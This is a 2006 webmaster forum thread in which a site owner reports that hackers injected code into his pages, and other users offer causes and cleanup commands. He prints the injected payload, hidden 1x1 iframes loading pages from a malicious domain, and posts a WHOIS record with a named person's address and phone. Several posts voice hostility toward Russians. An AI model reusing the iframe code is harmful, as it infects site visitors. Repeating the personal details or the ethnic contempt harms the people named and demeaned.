fucking russian hackers!

**x3movies** · 12-12-2006, 05:02 PM

i am loosing traffic by thousands each fucking minute, damn!

**jacked** · 12-12-2006, 05:09 PM

show the code being added and maybe we can help you a little more

**Jon Clark - BANNED FOR LIFE** · 12-12-2006, 05:13 PM

First step is not calling them "fucking" anything.....

It is best to be nice to the Russians, Treat them the same as you would like to be treated....

**NemesiS876** · 12-12-2006, 05:15 PM

Trie to defend whit Kaspersky

**JOHNNY_BUTTHOLES** · 12-12-2006, 05:18 PM

those cockfaces got me again today too. i had been free of them for a couple months now. i found it on a site i don't check regularly, so i don't know how many of my surfers got infected. fuck

**deniska** · 12-12-2006, 05:24 PM

if your with a good managed hosting provider, things like this would not happen.

**rockbear** · 12-12-2006, 05:25 PM

What is your host?

**x3movies** · 12-12-2006, 05:33 PM

i host with Webair.com, they were able to remove this IFRAME from all my files, so temporarily i am okay. but i still need to know how they got in so it does not happen again.

I dont hate every Russian, but why is like 99.9% of todays worlds hackers are Russians, they fucking suck and should die!

any how the code they included is as follows:
WARNING: access the page on your own rist it loads some applets and shit:

Code:

<iframe src='http://dgfjhewfndsbfsdvf.biz/adv/167/new.php' width=1 height=1></iframe><iframe src='http://dgfjhewfndsbfsdvf.biz/adv/new.php?adv=167' width=1 height=1></iframe>

**x3movies** · 12-12-2006, 05:34 PM

Domain Name: DGFJHEWFNDSBFSDVF.BIZ
Domain ID: D15515786-BIZ
Sponsoring Registrar: ONLINENIC, INC. D/B/A CHINA-CHANNEL.COM
Sponsoring Registrar IANA ID: 82
Domain Status: clientTransferProhibited
Registrant ID: OLNIC34919537
Registrant Name: Boriskin Gleb
Registrant Organization: Boriskin Gleb
Registrant Address1: vesekaya 4-155
Registrant City: Novosibirsk
Registrant State/Province: Novosibirsk
Registrant Postal Code: 109880
Registrant Country: Russian Federation
Registrant Country Code: RU
Registrant Phone Number: +7.3098098911
Registrant Facsimile Number: +7.3098098911

Name Server: NS3.ASDBIZ.BIZ
Name Server: NS4.ASDBIZ.BIZ
Created by Registrar: ONLINENIC, INC. D/B/A CHINA-CHANNEL.COM
Last Updated by Registrar: ONLINENIC, INC. D/B/A CHINA-CHANNEL.COM
Domain Registration Date: Tue Dec 05 15:38:47 GMT 2006
Domain Expiration Date: Tue Dec 04 23:59:59 GMT 2007
Domain Last Updated Date: Thu Dec 07 12:05:47 GMT 2006

FUCKING RUSSIAN!

**micker** · 12-12-2006, 06:07 PM

ok, if all the files are in the same directory you can just run this...

cat * | sed 's/$FIND/$REPLACE/g'

change $FIND to what you want to match and $REPLACE with what you want to change it to.

JD · 12-12-2006, 06:10 PM

:::sigh::: search for "megacount" and you'll see a shitload of threads and about 2 are mine. The ONLY thing that seemed to work was changing every password on the box. That means all scripts/ftp/ssh/etc

**JOHNNY_BUTTHOLES** · 12-12-2006, 06:12 PM

Originally posted by SPeRMiNaToR

:::sigh::: search for "megacount" and you'll see a shitload of threads and about 2 are mine. The ONLY thing that seemed to work was changing every password on the box. That means all scripts/ftp/ssh/etc

not just that. you have to make each file 'read only' which is an even bigger pain in the ass

JD · 12-12-2006, 06:15 PM

Originally posted by JOHNNY_BUTTHOLES

not just that. you have to make each file 'read only' which is an even bigger pain in the ass

trust me, I tried everything and making them read only didn't do shit.

**x3movies** · 12-12-2006, 06:16 PM

no shit, you guys never found how they got in? amazing....

**starpimps** · 12-12-2006, 06:21 PM

russians are crazy i kno first hand

**RawAlex** · 12-12-2006, 06:48 PM

x3movies, you might want to closely check your PC and the PC of anyone who has FTP access to your box. You may have a keylogger or similar on your machine sending out stuff.

Also, check every piece of software you are using, from blogs to TGPs and CMS systems... almost every one of them has had some sort of hole in it that can be exploited. Make sure you are up to date, otherwise they will just keep walking in the same hole.

**Domain Distribution** · 12-12-2006, 06:49 PM

russian hackers lol

**Star 69** · 12-13-2006, 05:10 AM

Don't fuck with russians. Not all the russians are hackers.

**Vigilante** · 12-13-2006, 05:21 AM

Originally posted by Star 69

Don't fuck with russians. Not all the russians are hackers.

Exactly.. You forgot about drug dealers and simple criminals

As hard as it is but sometimes you have to talk to / pay some blackhats to prevent other blackhats from hijacking you :/

**drjones** · 12-13-2006, 05:36 AM

Originally posted by micker

ok, if all the files are in the same directory you can just run this...

cat * | sed 's/$FIND/$REPLACE/g'

change $FIND to what you want to match and $REPLACE with what you want to change it to.

For a slightly safer version of that command, that will back up your files, and only try to modify .html files, try this.. should run from the document root of your webserver.

perl -pi'.orig' -e 's/$FIND/$REPLACE/g' `find ./ -name "*.html"`

It will back up the all the original files with a .orig extension as it runs, so if you make a mistake with the regex you can start over. The files with the text substitution will have the original file name.

**DarkJedi** · 12-13-2006, 07:38 AM

Originally posted by x3movies

i host with Webair.com

hahahahaha

get a real host dude.

**WDjay** · 12-13-2006, 07:44 AM

six figure sys admins are worth thier weight in gold

**Star 69** · 12-13-2006, 11:56 AM

Originally posted by Vigilante

Exactly.. You forgot about drug dealers and simple criminals

As hard as it is but sometimes you have to talk to / pay some blackhats to prevent other blackhats from hijacking you :/

A lot of smart people live in Russia

**VicD** · 12-13-2006, 12:05 PM

Originally posted by Star 69

A lot of smart people live in Russia

Every country has smart and dumb people...

**Denis_SC** · 12-13-2006, 12:33 PM

Originally posted by Vigilante

Exactly.. You forgot about drug dealers and simple criminals

As hard as it is but sometimes you have to talk to / pay some blackhats to prevent other blackhats from hijacking you :/

Yeah ...

Now stfu and pay me for this month

**Wilbo** · 12-13-2006, 12:35 PM

I used to get hit with these guys, then I turned off the ftp server and it stopped. So that would lead me to believe it was an ftp hack.

**who** · 12-13-2006, 01:00 PM

You guys should look into curing SQL injection.

**micker** · 12-13-2006, 01:45 PM

Originally posted by drjones

For a slightly safer version of that command, that will back up your files, and only try to modify .html files, try this.. should run from the document root of your webserver.

perl -pi'.orig' -e 's/$FIND/$REPLACE/g' `find ./ -name "*.html"`

It will back up the all the original files with a .orig extension as it runs, so if you make a mistake with the regex you can start over. The files with the text substitution will have the original file name.

I realize now that I had meant for that to be cat *.html and not just the wilcard. It was late when I posted that...

I like your solution better than mine though.. I need to get more comfortable with perl.

**x3movies** · 12-15-2006, 08:04 PM

got hit again. i am loosing it...........

**jerzeemedia** · 12-15-2006, 08:20 PM

x3movies,

Contact me on ICQ, I can more likely than not help. 251095197

-JM

**jerzeemedia** · 12-15-2006, 08:21 PM

EDIT: free of charge

**Nookster** · 12-15-2006, 08:31 PM

Ever heard of back-ups?

**sam from montreal** · 12-15-2006, 09:13 PM

i got hacked too... an Iframe installing a Trojan horse

**quantum-x** · 12-15-2006, 09:34 PM

Get yourself a copy of CentOS and Atomic Secured Linux
[http://atomicorp.com/amember/signup.php]

And kiss all these problems goodbye.

**porn blogger** · 12-16-2006, 12:39 AM

Originally posted by WDjay

six figure sys admins are worth thier weight in gold

when is the last time you evaluated a sysadmins weight? most of the ones i know are morbidly obese just as the cliche offers.

**rigrunner** · 12-16-2006, 03:06 AM

i had this a while back host said it was something to do with awstats..

fucking russian hackers!

fucking russian hackers!

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment